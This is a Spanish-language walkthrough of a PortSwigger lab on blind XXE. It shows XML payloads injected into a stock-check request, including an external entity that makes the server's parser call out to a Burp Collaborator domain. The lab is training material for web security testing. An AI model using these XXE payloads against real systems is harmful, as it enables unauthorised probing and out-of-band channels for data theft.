Blind XXE with out-of-band interaction
Laboratorio de Portswigger sobre XXE
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una función llamada Check stock que analiza la entrada en formato XML y devuelve cualquier valor inesperado en la respuesta. Puedes detectar la vulnerabilidad blind XXE provocando out-of-band interactions con un dominio externo. Para resolver el laboratorio, debemos utilizar una entidad externa para hacer que el analizador XML realice una búsqueda DNS y una solicitud HTTP hacia Burp Collaborator
Guía de XXE
Antes de completar este laboratorio es recomendable leerse esta guía de XXE https://justice-reaper.github.io/posts/XXE-Guide/
Resolución
Al acceder a la web nos sale esto
Si pulsamos en View details veremos la descripción del artículo
Si pulsamos en Check stock y capturamos la petición con Burpsuite vemos que se está tramitando un XML
Vamos a insertar un DTD (Document Type Definition) y a comprobar si es vulnerable a XXE
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "Doe"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Nos vamos a Burpsuite Collaborator y pulsamos en Copy to clipboard, este dominio obtenido lo vamos a usar para construir este payload
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://7qyhremmrjqjtk32uztkk5jai1osci07.oastify.com"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Nos vamos a Burpsuite Collaborator y observamos que hemos obtenido respuesta




